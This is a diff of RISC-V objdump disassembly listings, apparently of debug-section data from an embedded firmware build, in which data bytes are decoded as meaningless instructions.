+  4e:	2040                	fld	fs0,128(s0)
+  50:	0001                	nop
+  52:	0059                	c.nop	22
+  54:	0000                	unimp
+  56:	0000                	unimp
+  58:	0000                	unimp
+  5a:	8600                	0x8600
+  5c:	401a                	0x401a
+  5e:	4c20                	lw	s0,88(s0)
+  60:	0120401b          	0x120401b
+  64:	5800                	lw	s0,48(s0)
+  66:	1b7c                	addi	a5,sp,444
+  68:	2040                	fld	fs0,128(s0)
+  6a:	1b8e                	slli	s7,s7,0x23
+  6c:	2040                	fld	fs0,128(s0)
+  6e:	0001                	nop
+  70:	8e58                	0x8e58
+  72:	9020401b          	0x9020401b
+  76:	0320401b          	0x320401b
+  7a:	7800                	flw	fs0,48(s0)
+  7c:	9f7c                	0x9f7c
+  7e:	1b90                	addi	a2,sp,496
+  80:	2040                	fld	fs0,128(s0)
+  82:	1c14                	addi	a3,sp,560
+  84:	2040                	fld	fs0,128(s0)
+  86:	0001                	nop
+  88:	5858                	lw	a4,52(s0)
+  8a:	401c                	lw	a5,0(s0)
+  8c:	da20                	sw	s0,112(a2)
+  8e:	401c                	lw	a5,0(s0)
+  90:	0120                	addi	s0,sp,136
+  92:	5800                	lw	s0,48(s0)
 	...
-    1d80:	0060                	addi	s0,sp,12
-    1d82:	0000                	unimp
-    1d84:	0006                	c.slli	zero,0x1
-    1d86:	935c                	0x935c
-    1d88:	5d04                	lw	s1,56(a0)
-    1d8a:	00600493          	li	s1,6
-    1d8e:	0000                	unimp
-    1d90:	00b2                	slli	ra,ra,0xc
-    1d92:	0000                	unimp
-    1d94:	0006                	c.slli	zero,0x1
-    1d96:	0cf503f3          	0xcf503f3
-    1d9a:	9f25                	0x9f25
-    1d9c:	00b2                	slli	ra,ra,0xc
-    1d9e:	0000                	unimp
-    1da0:	00e2                	slli	ra,ra,0x18
-    1da2:	0000                	unimp
-    1da4:	0006                	c.slli	zero,0x1
-    1da6:	935c                	0x935c
-    1da8:	5d04                	lw	s1,56(a0)
-    1daa:	00e20493          	addi	s1,tp,14 # e <__stack_size-0x7f2>
-    1dae:	0000                	unimp
-    1db0:	0150                	addi	a2,sp,132
-    1db2:	0000                	unimp
-    1db4:	0006                	c.slli	zero,0x1
-    1db6:	0cf503f3          	0xcf503f3
-    1dba:	9f25                	0x9f25
-    1dbc:	0150                	addi	a2,sp,132
-    1dbe:	0000                	unimp
-    1dc0:	015e                	slli	sp,sp,0x17
-    1dc2:	0000                	unimp
-    1dc4:	0006                	c.slli	zero,0x1
-    1dc6:	935c                	0x935c
-    1dc8:	5d04                	lw	s1,56(a0)
-    1dca:	015e0493          	addi	s1,t3,21
-    1dce:	0000                	unimp
-    1dd0:	01d2                	slli	gp,gp,0x14
-    1dd2:	0000                	unimp
-    1dd4:	0006                	c.slli	zero,0x1
-    1dd6:	0cf503f3          	0xcf503f3
-    1dda:	9f25                	0x9f25
-    1ddc:	01d2                	slli	gp,gp,0x14
-    1dde:	0000                	unimp
-    1de0:	024a                	slli	tp,tp,0x12
-    1de2:	0000                	unimp
-    1de4:	0006                	c.slli	zero,0x1
-    1de6:	935c                	0x935c
-    1de8:	5d04                	lw	s1,56(a0)
-    1dea:	024a0493          	addi	s1,s4,36
-    1dee:	0000                	unimp
-    1df0:	0340                	addi	s0,sp,388
-    1df2:	0000                	unimp
-    1df4:	0006                	c.slli	zero,0x1
-    1df6:	0cf503f3          	0xcf503f3
-    1dfa:	9f25                	0x9f25
+  9c:	1a94                	addi	a3,sp,368
+  9e:	2040                	fld	fs0,128(s0)
+  a0:	1ad2                	slli	s5,s5,0x34
+  a2:	2040                	fld	fs0,128(s0)
+  a4:	0001                	nop
+  a6:	d25a                	sw	s6,36(sp)
+  a8:	401a                	0x401a
+  aa:	d420                	sw	s0,104(s0)
+  ac:	401a                	0x401a
+  ae:	0120                	addi	s0,sp,136
+  b0:	5d00                	lw	s0,56(a0)
+  b2:	1ad4                	addi	a3,sp,372
+  b4:	2040                	fld	fs0,128(s0)
+  b6:	1ae0                	addi	s0,sp,380
+  b8:	2040                	fld	fs0,128(s0)
+  ba:	0001                	nop
+  bc:	e05a                	fsw	fs6,0(sp)
+  be:	401a                	0x401a
+  c0:	e320                	fsw	fs0,64(a4)
+  c2:	401a                	0x401a
+  c4:	0120                	addi	s0,sp,136
+  c6:	5d00                	lw	s0,56(a0)
+  c8:	1b06                	slli	s6,s6,0x21
+  ca:	2040                	fld	fs0,128(s0)
+  cc:	1b12                	slli	s6,s6,0x24
+  ce:	2040                	fld	fs0,128(s0)
+  d0:	0001                	nop
+  d2:	125a                	slli	tp,tp,0x36
+  d4:	1420401b          	0x1420401b
+  d8:	0120401b          	0x120401b
+  dc:	5d00                	lw	s0,56(a0)
+  de:	1b14                	addi	a3,sp,432
+  e0:	2040                	fld	fs0,128(s0)
+  e2:	1b20                	addi	s0,sp,440
+  e4:	2040                	fld	fs0,128(s0)
+  e6:	0001                	nop
+  e8:	205a                	fld	ft0,400(sp)
+  ea:	2220401b          	0x2220401b
+  ee:	0120401b          	0x120401b
+  f2:	5d00                	lw	s0,56(a0)
+  f4:	1b22                	slli	s6,s6,0x28
+  f6:	2040                	fld	fs0,128(s0)
+  f8:	1b2e                	slli	s6,s6,0x2b
+  fa:	2040                	fld	fs0,128(s0)
+  fc:	0001                	nop
+  fe:	2e5a                	fld	ft8,400(sp)
+ 100:	3020401b          	0x3020401b
+ 104:	0120401b          	0x120401b
+ 108:	5d00                	lw	s0,56(a0)
+ 10a:	1b30                	addi	a2,sp,440
+ 10c:	2040                	fld	fs0,128(s0)
+ 10e:	1b3c                	addi	a5,sp,440
+ 110:	2040                	fld	fs0,128(s0)
+ 112:	0001                	nop
+ 114:	3c5a                	fld	fs8,432(sp)
+ 116:	3f20401b          	0x3f20401b
+ 11a:	0120401b          	0x120401b
+ 11e:	5d00                	lw	s0,56(a0)
+ 120:	1b7c                	addi	a5,sp,444
+ 122:	2040                	fld	fs0,128(s0)
+ 124:	1b88                	addi	a0,sp,496
+ 126:	2040                	fld	fs0,128(s0)
+ 128:	0001                	nop
+ 12a:	885a                	mv	a6,s6
+ 12c:	8b20401b          	0x8b20401b
+ 130:	0120401b          	0x120401b
+ 134:	5d00                	lw	s0,56(a0)
+ 136:	1b90                	addi	a2,sp,496
+ 138:	2040                	fld	fs0,128(s0)
+ 13a:	1b9c                	addi	a5,sp,496
+ 13c:	2040                	fld	fs0,128(s0)
+ 13e:	0001                	nop
+ 140:	9c5a                	add	s8,s8,s6
+ 142:	9f20401b          	0x9f20401b
+ 146:	0120401b          	0x120401b
+ 14a:	5d00                	lw	s0,56(a0)
+ 14c:	1bb4                	addi	a3,sp,504
+ 14e:	2040                	fld	fs0,128(s0)
+ 150:	1bc0                	addi	s0,sp,500
+ 152:	2040                	fld	fs0,128(s0)
+ 154:	0001                	nop
+ 156:	c05a                	sw	s6,0(sp)
+ 158:	c220401b          	0xc220401b
+ 15c:	0120401b          	0x120401b
+ 160:	5d00                	lw	s0,56(a0)
+ 162:	1bc2                	slli	s7,s7,0x30
+ 164:	2040                	fld	fs0,128(s0)
+ 166:	1bce                	slli	s7,s7,0x33
+ 168:	2040                	fld	fs0,128(s0)
+ 16a:	0001                	nop
+ 16c:	ce5a                	sw	s6,28(sp)
+ 16e:	d020401b          	0xd020401b
+ 172:	0120401b          	0x120401b
+ 176:	5d00                	lw	s0,56(a0)
+ 178:	1bd0                	addi	a2,sp,500
+ 17a:	2040                	fld	fs0,128(s0)
+ 17c:	1bdc                	addi	a5,sp,500
+ 17e:	2040                	fld	fs0,128(s0)
+ 180:	0001                	nop
+ 182:	dc5a                	sw	s6,56(sp)
+ 184:	de20401b          	0xde20401b
+ 188:	0120401b          	0x120401b
+ 18c:	5d00                	lw	s0,56(a0)
+ 18e:	1bde                	slli	s7,s7,0x37
+ 190:	2040                	fld	fs0,128(s0)
+ 192:	1bea                	slli	s7,s7,0x3a
+ 194:	2040                	fld	fs0,128(s0)
+ 196:	0001                	nop
+ 198:	ea5a                	fsw	fs6,20(sp)
+ 19a:	ec20401b          	0xec20401b
+ 19e:	0120401b          	0x120401b
+ 1a2:	5d00                	lw	s0,56(a0)
+ 1a4:	1bec                	addi	a1,sp,508
+ 1a6:	2040                	fld	fs0,128(s0)
+ 1a8:	1bfa                	slli	s7,s7,0x3e
+ 1aa:	2040                	fld	fs0,128(s0)
+ 1ac:	0001                	nop
+ 1ae:	fa5a                	fsw	fs6,52(sp)
+ 1b0:	fd20401b          	0xfd20401b
+ 1b4:	0120401b          	0x120401b
+ 1b8:	5d00                	lw	s0,56(a0)
+ 1ba:	1bfd                	addi	s7,s7,-1
+ 1bc:	2040                	fld	fs0,128(s0)
+ 1be:	1c58                	addi	a4,sp,564
+ 1c0:	2040                	fld	fs0,128(s0)
+ 1c2:	9c910003          	lb	zero,-1591(sp) # 4c3029c9 <_data_lma+0x2befe4a9>
+ 1c6:	587f                	0x587f
+ 1c8:	401c                	lw	a5,0(s0)
+ 1ca:	6620                	flw	fs0,72(a2)
+ 1cc:	401c                	lw	a5,0(s0)
+ 1ce:	0120                	addi	s0,sp,136
+ 1d0:	5a00                	lw	s0,48(a2)
+ 1d2:	1c66                	slli	s8,s8,0x39
+ 1d4:	2040                	fld	fs0,128(s0)
+ 1d6:	1c69                	addi	s8,s8,-6
+ 1d8:	2040                	fld	fs0,128(s0)
+ 1da:	0001                	nop
+ 1dc:	695d                	lui	s2,0x17
+ 1de:	401c                	lw	a5,0(s0)
+ 1e0:	c620                	sw	s0,72(a2)
+ 1e2:	401c                	lw	a5,0(s0)
+ 1e4:	0320                	addi	s0,sp,392
+ 1e6:	9100                	0x9100
+ 1e8:	7f9c                	flw	fa5,56(a5)
+ 1ea:	1cc6                	slli	s9,s9,0x31
+ 1ec:	2040                	fld	fs0,128(s0)
+ 1ee:	1cd0                	addi	a2,sp,628
+ 1f0:	2040                	fld	fs0,128(s0)
+ 1f2:	0001                	nop
+ 1f4:	d05a                	sw	s6,32(sp)
+ 1f6:	401c                	lw	a5,0(s0)
+ 1f8:	d720                	sw	s0,104(a4)
+ 1fa:	401c                	lw	a5,0(s0)
+ 1fc:	0120                	addi	s0,sp,136
+ 1fe:	5d00                	lw	s0,56(a0)
 	...
-    1e04:	021e                	slli	tp,tp,0x7
-    1e06:	0000                	unimp
-    1e08:	0220                	addi	s0,sp,264
-    1e0a:	0000                	unimp
-    1e0c:	0006                	c.slli	zero,0x1
-    1e0e:	935a                	add	t1,t1,s6
-    1e10:	5e04                	lw	s1,56(a2)
-    1e12:	033e0493          	addi	s1,t3,51
-    1e16:	0000                	unimp
-    1e18:	0340                	addi	s0,sp,388
-    1e1a:	0000                	unimp
-    1e1c:	0006                	c.slli	zero,0x1
-    1e1e:	935a                	add	t1,t1,s6
-    1e20:	5b04                	lw	s1,48(a4)
-    1e22:	00000493          	li	s1,0
-    1e26:	0000                	unimp
-    1e28:	0000                	unimp
-    1e2a:	0000                	unimp
-    1e2c:	0002                	c.slli64	zero
-    1e2e:	0000                	unimp
-    1e30:	00b0                	addi	a2,sp,72
-    1e32:	0000                	unimp
-    1e34:	0006                	c.slli	zero,0x1
-    1e36:	8cf2                	mv	s9,t3
-    1e38:	0000002f          	0x2f
-    1e3c:	00b2                	slli	ra,ra,0xc
-    1e3e:	0000                	unimp
-    1e40:	0340                	addi	s0,sp,388
-    1e42:	0000                	unimp
-    1e44:	0006                	c.slli	zero,0x1
-    1e46:	8cf2                	mv	s9,t3
-    1e48:	0000002f          	0x2f
+ 208:	1cda                	slli	s9,s9,0x36
+ 20a:	2040                	fld	fs0,128(s0)
+ 20c:	1cf2                	slli	s9,s9,0x3c
+ 20e:	2040                	fld	fs0,128(s0)
+ 210:	0001                	nop
+ 212:	f258                	fsw	fa4,36(a2)
+ 214:	401c                	lw	a5,0(s0)
+ 216:	f620                	fsw	fs0,104(a2)
+ 218:	401c                	lw	a5,0(s0)
+ 21a:	0120                	addi	s0,sp,136
+ 21c:	5a00                	lw	s0,48(a2)
+ 21e:	1cf6                	slli	s9,s9,0x3d
+ 220:	2040                	fld	fs0,128(s0)
+ 222:	1d12                	slli	s10,s10,0x24
+ 224:	2040                	fld	fs0,128(s0)
+ 226:	0001                	nop
+ 228:	0058                	addi	a4,sp,4
+ 22a:	0000                	unimp
+ 22c:	0000                	unimp
+ 22e:	0000                	unimp
+ 230:	1000                	addi	s0,sp,32
+ 232:	401e                	0x401e
+ 234:	1e20                	addi	s0,sp,824
+ 236:	401e                	0x401e
+ 238:	0120                	addi	s0,sp,136
+ 23a:	5a00                	lw	s0,48(a2)
+ 23c:	1e1e                	slli	t3,t3,0x27
+ 23e:	2040                	fld	fs0,128(s0)
+ 240:	1e5a                	slli	t3,t3,0x36
+ 242:	2040                	fld	fs0,128(s0)
+ 244:	0001                	nop
+ 246:	5a58                	lw	a4,52(a2)
+ 248:	401e                	0x401e
+ 24a:	6420                	flw	fs0,72(s0)
+ 24c:	401e                	0x401e
+ 24e:	0420                	addi	s0,sp,520
+ 250:	f300                	fsw	fs0,32(a4)
+ 252:	5a01                	li	s4,-32
+ 254:	009f 0000 0000      	0x9f
+ 25a:	0000                	unimp
+ 25c:	1000                	addi	s0,sp,32
+ 25e:	401e                	0x401e
+ 260:	2920                	fld	fs0,80(a0)
+ 262:	401e                	0x401e
+ 264:	0120                	addi	s0,sp,136
+ 266:	5b00                	lw	s0,48(a4)
+ 268:	1e29                	addi	t3,t3,-22
+ 26a:	2040                	fld	fs0,128(s0)
+ 26c:	1e5c                	addi	a5,sp,820
+ 26e:	2040                	fld	fs0,128(s0)
+ 270:	0001                	nop
+ 272:	5c62                	lw	s8,56(sp)
+ 274:	401e                	0x401e
+ 276:	6420                	flw	fs0,72(s0)
+ 278:	401e                	0x401e
+ 27a:	0420                	addi	s0,sp,520
+ 27c:	f300                	fsw	fs0,32(a4)
+ 27e:	5b01                	li	s6,-32
+ 280:	009f 0000 0000      	0x9f
+ 286:	0000                	unimp
+ 288:	4e00                	lw	s0,24(a2)
+ 28a:	401e                	0x401e
+ 28c:	6020                	flw	fs0,64(s0)
+ 28e:	401e                	0x401e
+ 290:	0120                	addi	s0,sp,136
+ 292:	5900                	lw	s0,48(a0)
+ 294:	1e60                	addi	s0,sp,828
+ 296:	2040                	fld	fs0,128(s0)
+ 298:	1e64                	addi	s1,sp,828
+ 29a:	2040                	fld	fs0,128(s0)
+ 29c:	0001                	nop
+ 29e:	005a                	c.slli	zero,0x16
+ 2a0:	0000                	unimp
+ 2a2:	0000                	unimp
+ 2a4:	0000                	unimp
+ 2a6:	8400                	0x8400
+ 2a8:	401d                	c.li	zero,7
+ 2aa:	9220                	0x9220
+ 2ac:	401d                	c.li	zero,7
+ 2ae:	0120                	addi	s0,sp,136
+ 2b0:	5a00                	lw	s0,48(a2)
+ 2b2:	1d92                	slli	s11,s11,0x24
+ 2b4:	2040                	fld	fs0,128(s0)
+ 2b6:	1e0a                	slli	t3,t3,0x22
+ 2b8:	2040                	fld	fs0,128(s0)
+ 2ba:	0001                	nop
+ 2bc:	0a59                	addi	s4,s4,22
+ 2be:	401e                	0x401e
+ 2c0:	1020                	addi	s0,sp,40
+ 2c2:	401e                	0x401e
+ 2c4:	0420                	addi	s0,sp,520
+ 2c6:	f300                	fsw	fs0,32(a4)
+ 2c8:	5a01                	li	s4,-32
+ 2ca:	009f 0000 0000      	0x9f
+ 2d0:	0000                	unimp
+ 2d2:	8400                	0x8400
+ 2d4:	401d                	c.li	zero,7
+ 2d6:	9d20                	0x9d20
+ 2d8:	401d                	c.li	zero,7
+ 2da:	0120                	addi	s0,sp,136
+ 2dc:	5b00                	lw	s0,48(a4)
+ 2de:	1d9d                	addi	s11,s11,-25
+ 2e0:	2040                	fld	fs0,128(s0)
+ 2e2:	1e0c                	addi	a1,sp,816
+ 2e4:	2040                	fld	fs0,128(s0)
+ 2e6:	0001                	nop
+ 2e8:	0c62                	slli	s8,s8,0x18
+ 2ea:	401e                	0x401e
+ 2ec:	1020                	addi	s0,sp,40
+ 2ee:	401e                	0x401e
+ 2f0:	0420                	addi	s0,sp,520
+ 2f2:	f300                	fsw	fs0,32(a4)
+ 2f4:	5b01                	li	s6,-32
+ 2f6:	009f 0000 0000      	0x9f
+ 2fc:	0000                	unimp
+ 2fe:	ac00                	fsd	fs0,24(s0)
+ 300:	401d                	c.li	zero,7
+ 302:	0820                	addi	s0,sp,24
+ 304:	401e                	0x401e
+ 306:	0120                	addi	s0,sp,136
+ 308:	5800                	lw	s0,48(s0)
+ 30a:	1e08                	addi	a0,sp,816
+ 30c:	2040                	fld	fs0,128(s0)
+ 30e:	1e10                	addi	a2,sp,816
+ 310:	2040                	fld	fs0,128(s0)
+ 312:	0001                	nop
+ 314:	005a                	c.slli	zero,0x16
+ 316:	0000                	unimp
+ 318:	0000                	unimp
+ 31a:	0000                	unimp
+ 31c:	ac00                	fsd	fs0,24(s0)
+ 31e:	401d                	c.li	zero,7
+ 320:	da20                	sw	s0,112(a2)
+ 322:	401d                	c.li	zero,7
+ 324:	0220                	addi	s0,sp,264
+ 326:	3000                	fld	fs0,32(s0)
+ 328:	da9f 401d e420      	0xe420401dda9f
+ 32e:	401d                	c.li	zero,7
+ 330:	0120                	addi	s0,sp,136
+ 332:	5e00                	lw	s0,56(a2)
+ 334:	1de4                	addi	s1,sp,764
+ 336:	2040                	fld	fs0,128(s0)
+ 338:	1df2                	slli	s11,s11,0x3c
+ 33a:	2040                	fld	fs0,128(s0)
+ 33c:	017a0003          	lb	zero,23(s4) # ffffa017 <_heap_end+0x7ffeb817>
+ 340:	009f 0000 0000      	0x9f
+ 346:	0000                	unimp
+ 348:	4400                	lw	s0,8(s0)
+ 34a:	401d                	c.li	zero,7
+ 34c:	5520                	lw	s0,104(a0)
+ 34e:	401d                	c.li	zero,7
+ 350:	0120                	addi	s0,sp,136
+ 352:	5a00                	lw	s0,48(a2)
+ 354:	1d55                	addi	s10,s10,-11
+ 356:	2040                	fld	fs0,128(s0)
+ 358:	1d58                	addi	a4,sp,692
+ 35a:	2040                	fld	fs0,128(s0)
+ 35c:	0004                	0x4
+ 35e:	9f5a01f3          	0x9f5a01f3
+ 362:	1d58                	addi	a4,sp,692
+ 364:	2040                	fld	fs0,128(s0)
+ 366:	1d7c                	addi	a5,sp,700
+ 368:	2040                	fld	fs0,128(s0)
+ 36a:	0001                	nop
+ 36c:	7c58                	flw	fa4,60(s0)
+ 36e:	401d                	c.li	zero,7
+ 370:	8420                	0x8420
+ 372:	401d                	c.li	zero,7
+ 374:	0120                	addi	s0,sp,136
+ 376:	5a00                	lw	s0,48(a2)
 	...
-    1e54:	0002                	c.slli64	zero
-    1e56:	0000                	unimp
-    1e58:	0014                	0x14
-    1e5a:	0000                	unimp
-    1e5c:	0006                	c.slli	zero,0x1
-    1e5e:	935c                	0x935c
-    1e60:	5d04                	lw	s1,56(a0)
-    1e62:	00140493          	addi	s1,s0,1
-    1e66:	0000                	unimp
-    1e68:	0028                	addi	a0,sp,8
-    1e6a:	0000                	unimp
-    1e6c:	0006                	c.slli	zero,0x1
-    1e6e:	935c                	0x935c
-    1e70:	5f04                	lw	s1,56(a4)
-    1e72:	00b20493          	addi	s1,tp,11 # b <__stack_size-0x7f5>
-    1e76:	0000                	unimp
-    1e78:	00b8                	addi	a4,sp,72
-    1e7a:	0000                	unimp
-    1e7c:	0006                	c.slli	zero,0x1
-    1e7e:	935c                	0x935c
-    1e80:	5f04                	lw	s1,56(a4)
-    1e82:	00c00493          	li	s1,12
-    1e86:	0000                	unimp
-    1e88:	00d8                	addi	a4,sp,68
-    1e8a:	0000                	unimp
-    1e8c:	0006                	c.slli	zero,0x1
-    1e8e:	935c                	0x935c
-    1e90:	5f04                	lw	s1,56(a4)
-    1e92:	01500493          	li	s1,21
-    1e96:	0000                	unimp
-    1e98:	0156                	slli	sp,sp,0x15
-    1e9a:	0000                	unimp
-    1e9c:	0006                	c.slli	zero,0x1
-    1e9e:	935c                	0x935c
-    1ea0:	5f04                	lw	s1,56(a4)
-    1ea2:	01d20493          	addi	s1,tp,29 # 1d <__stack_size-0x7e3>
-    1ea6:	0000                	unimp
-    1ea8:	0236                	slli	tp,tp,0xd
-    1eaa:	0000                	unimp
-    1eac:	0006                	c.slli	zero,0x1
-    1eae:	935c                	0x935c
-    1eb0:	5d04                	lw	s1,56(a0)
-    1eb2:	00000493          	li	s1,0
-    1eb6:	0000                	unimp
-    1eb8:	0000                	unimp
-    1eba:	0000                	unimp
-    1ebc:	0002                	c.slli64	zero
-    1ebe:	0000                	unimp
-    1ec0:	0044                	addi	s1,sp,4
-    1ec2:	0000                	unimp
-    1ec4:	0006                	c.slli	zero,0x1
-    1ec6:	9356                	add	t1,t1,s5
-    1ec8:	5b04                	lw	s1,48(a4)
-    1eca:	00440493          	addi	s1,s0,4
-    1ece:	0000                	unimp
-    1ed0:	0050                	addi	a2,sp,4
-    1ed2:	0000                	unimp
-    1ed4:	0006                	c.slli	zero,0x1
-    1ed6:	9356                	add	t1,t1,s5
-    1ed8:	5e04                	lw	s1,56(a2)
-    1eda:	00b20493          	addi	s1,tp,11 # b <__stack_size-0x7f5>
-    1ede:	0000                	unimp
-    1ee0:	00f4                	addi	a3,sp,76
-    1ee2:	0000                	unimp
-    1ee4:	0006                	c.slli	zero,0x1
-    1ee6:	9356                	add	t1,t1,s5
-    1ee8:	5b04                	lw	s1,48(a4)
-    1eea:	01500493          	li	s1,21
-    1eee:	0000                	unimp
-    1ef0:	0172                	slli	sp,sp,0x1c
-    1ef2:	0000                	unimp
-    1ef4:	0006                	c.slli	zero,0x1
-    1ef6:	9356                	add	t1,t1,s5
-    1ef8:	5b04                	lw	s1,48(a4)
-    1efa:	01d20493          	addi	s1,tp,29 # 1d <__stack_size-0x7e3>
-    1efe:	0000                	unimp
-    1f00:	0214                	addi	a3,sp,256
-    1f02:	0000                	unimp
-    1f04:	0006                	c.slli	zero,0x1
-    1f06:	9356                	add	t1,t1,s5
-    1f08:	5b04                	lw	s1,48(a4)
-    1f0a:	02140493          	addi	s1,s0,33
-    1f0e:	0000                	unimp
-    1f10:	0218                	addi	a4,sp,256
-    1f12:	0000                	unimp
-    1f14:	0006                	c.slli	zero,0x1
-    1f16:	9356                	add	t1,t1,s5
-    1f18:	5e04                	lw	s1,56(a2)
-    1f1a:	02200493          	li	s1,34
-    1f1e:	0000                	unimp
-    1f20:	024e                	slli	tp,tp,0x13
-    1f22:	0000                	unimp
-    1f24:	0006                	c.slli	zero,0x1
-    1f26:	9356                	add	t1,t1,s5
-    1f28:	5b04                	lw	s1,48(a4)
-    1f2a:	00000493          	li	s1,0
-    1f2e:	0000                	unimp
-    1f30:	0000                	unimp
-    1f32:	0000                	unimp
-    1f34:	0004                	0x4
-    1f36:	0000                	unimp
-    1f38:	004c                	addi	a1,sp,4
-    1f3a:	0000                	unimp
-    1f3c:	0001                	nop
-    1f3e:	4c5c                	lw	a5,28(s0)
-    1f40:	0000                	unimp
-    1f42:	b000                	fsd	fs0,32(s0)
-    1f44:	0000                	unimp
-    1f46:	0100                	addi	s0,sp,128
-    1f48:	6000                	flw	fs0,0(s0)
-    1f4a:	00b2                	slli	ra,ra,0xc
-    1f4c:	0000                	unimp
-    1f4e:	00c8                	addi	a0,sp,68
-    1f50:	0000                	unimp
-    1f52:	0001                	nop
-    1f54:	c85c                	sw	a5,20(s0)
-    1f56:	0000                	unimp
-    1f58:	d200                	sw	s0,32(a2)
-    1f5a:	0001                	nop
-    1f5c:	0100                	addi	s0,sp,128
-    1f5e:	6000                	flw	fs0,0(s0)
-    1f60:	01d2                	slli	gp,gp,0x14
-    1f62:	0000                	unimp
-    1f64:	0246                	slli	tp,tp,0x11
-    1f66:	0000                	unimp
-    1f68:	0001                	nop
-    1f6a:	465c                	lw	a5,12(a2)
-    1f6c:	0002                	c.slli64	zero
-    1f6e:	4000                	lw	s0,0(s0)
-    1f70:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    1f74:	6d00                	flw	fs0,24(a0)
+ 380:	1d44                	addi	s1,sp,692
+ 382:	2040                	fld	fs0,128(s0)
+ 384:	1d55                	addi	s10,s10,-11
+ 386:	2040                	fld	fs0,128(s0)
+ 388:	0001                	nop
+ 38a:	401d555b          	0x401d555b
+ 38e:	8020                	0x8020
+ 390:	401d                	c.li	zero,7
+ 392:	0120                	addi	s0,sp,136
+ 394:	6200                	flw	fs0,0(a2)
+ 396:	1d80                	addi	s0,sp,752
+ 398:	2040                	fld	fs0,128(s0)
+ 39a:	1d84                	addi	s1,sp,752
+ 39c:	2040                	fld	fs0,128(s0)
+ 39e:	0004                	0x4
+ 3a0:	9f5b01f3          	0x9f5b01f3
 	...
-    1f7e:	0006                	c.slli	zero,0x1
-    1f80:	0000                	unimp
-    1f82:	0014                	0x14
-    1f84:	0000                	unimp
-    1f86:	0001                	nop
-    1f88:	145d                	addi	s0,s0,-9
-    1f8a:	0000                	unimp
-    1f8c:	2800                	fld	fs0,16(s0)
-    1f8e:	0000                	unimp
-    1f90:	0100                	addi	s0,sp,128
-    1f92:	5f00                	lw	s0,56(a4)
-    1f94:	00b2                	slli	ra,ra,0xc
-    1f96:	0000                	unimp
-    1f98:	00b8                	addi	a4,sp,72
-    1f9a:	0000                	unimp
-    1f9c:	0001                	nop
-    1f9e:	c05f 0000 d800      	0xd8000000c05f
-    1fa4:	0000                	unimp
-    1fa6:	0100                	addi	s0,sp,128
-    1fa8:	5f00                	lw	s0,56(a4)
-    1faa:	0150                	addi	a2,sp,132
-    1fac:	0000                	unimp
-    1fae:	0156                	slli	sp,sp,0x15
-    1fb0:	0000                	unimp
-    1fb2:	0001                	nop
-    1fb4:	d25f 0001 3600      	0x36000001d25f
-    1fba:	0002                	c.slli64	zero
-    1fbc:	0100                	addi	s0,sp,128
-    1fbe:	5d00                	lw	s0,56(a0)
-    1fc0:	023a                	slli	tp,tp,0xe
-    1fc2:	0000                	unimp
-    1fc4:	0340                	addi	s0,sp,388
-    1fc6:	0000                	unimp
-    1fc8:	0001                	nop
-    1fca:	006c                	addi	a1,sp,12
-    1fcc:	0000                	unimp
-    1fce:	0000                	unimp
-    1fd0:	0000                	unimp
-    1fd2:	0600                	addi	s0,sp,768
-    1fd4:	0000                	unimp
-    1fd6:	5400                	lw	s0,40(s0)
-    1fd8:	0000                	unimp
-    1fda:	0100                	addi	s0,sp,128
-    1fdc:	5600                	lw	s0,40(a2)
-    1fde:	0054                	addi	a3,sp,4
-    1fe0:	0000                	unimp
-    1fe2:	008a                	slli	ra,ra,0x2
-    1fe4:	0000                	unimp
-    1fe6:	0001                	nop
-    1fe8:	aa5a                	fsd	fs6,272(sp)
-    1fea:	0000                	unimp
-    1fec:	ae00                	fsd	fs0,24(a2)
-    1fee:	0000                	unimp
-    1ff0:	0100                	addi	s0,sp,128
-    1ff2:	5a00                	lw	s0,48(a2)
-    1ff4:	00b2                	slli	ra,ra,0xc
-    1ff6:	0000                	unimp
-    1ff8:	00f4                	addi	a3,sp,76
-    1ffa:	0000                	unimp
-    1ffc:	0001                	nop
-    1ffe:	f456                	fsw	fs5,40(sp)
-    2000:	0000                	unimp
-    2002:	2c00                	fld	fs0,24(s0)
-    2004:	0001                	nop
-    2006:	0100                	addi	s0,sp,128
-    2008:	5a00                	lw	s0,48(a2)
-    200a:	014e                	slli	sp,sp,0x13
-    200c:	0000                	unimp
-    200e:	0150                	addi	a2,sp,132
-    2010:	0000                	unimp
-    2012:	0001                	nop
-    2014:	505a                	0x505a
-    2016:	0001                	nop
-    2018:	8200                	0x8200
-    201a:	0001                	nop
-    201c:	0100                	addi	s0,sp,128
-    201e:	5600                	lw	s0,40(a2)
-    2020:	0182                	c.slli64	gp
-    2022:	0000                	unimp
-    2024:	01d2                	slli	gp,gp,0x14
-    2026:	0000                	unimp
-    2028:	0001                	nop
-    202a:	d25a                	sw	s6,36(sp)
-    202c:	0001                	nop
-    202e:	1c00                	addi	s0,sp,560
-    2030:	0002                	c.slli64	zero
-    2032:	0100                	addi	s0,sp,128
-    2034:	5600                	lw	s0,40(a2)
-    2036:	021c                	addi	a5,sp,256
-    2038:	0000                	unimp
-    203a:	0220                	addi	s0,sp,264
-    203c:	0000                	unimp
-    203e:	0001                	nop
-    2040:	205a                	fld	ft0,400(sp)
-    2042:	0002                	c.slli64	zero
-    2044:	5e00                	lw	s0,56(a2)
-    2046:	0002                	c.slli64	zero
-    2048:	0100                	addi	s0,sp,128
-    204a:	5600                	lw	s0,40(a2)
-    204c:	025e                	slli	tp,tp,0x17
-    204e:	0000                	unimp
-    2050:	032a                	slli	t1,t1,0xa
-    2052:	0000                	unimp
-    2054:	0001                	nop
-    2056:	2e5a                	fld	ft8,400(sp)
-    2058:	40000003          	lb	zero,1024(zero) # 400 <__stack_size-0x400>
-    205c:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    2060:	5f00                	lw	s0,56(a4)
+ 3ac:	1d44                	addi	s1,sp,692
+ 3ae:	2040                	fld	fs0,128(s0)
+ 3b0:	1d55                	addi	s10,s10,-11
+ 3b2:	2040                	fld	fs0,128(s0)
+ 3b4:	0001                	nop
+ 3b6:	555c                	lw	a5,44(a0)
+ 3b8:	401d                	c.li	zero,7
+ 3ba:	8420                	0x8420
+ 3bc:	401d                	c.li	zero,7
+ 3be:	0420                	addi	s0,sp,520
+ 3c0:	f300                	fsw	fs0,32(a4)
+ 3c2:	5c01                	li	s8,-32
+ 3c4:	009f 0000 0000      	0x9f
+ 3ca:	0000                	unimp
+ 3cc:	4400                	lw	s0,8(s0)
+ 3ce:	401d                	c.li	zero,7
+ 3d0:	5520                	lw	s0,104(a0)
+ 3d2:	401d                	c.li	zero,7
+ 3d4:	0120                	addi	s0,sp,136
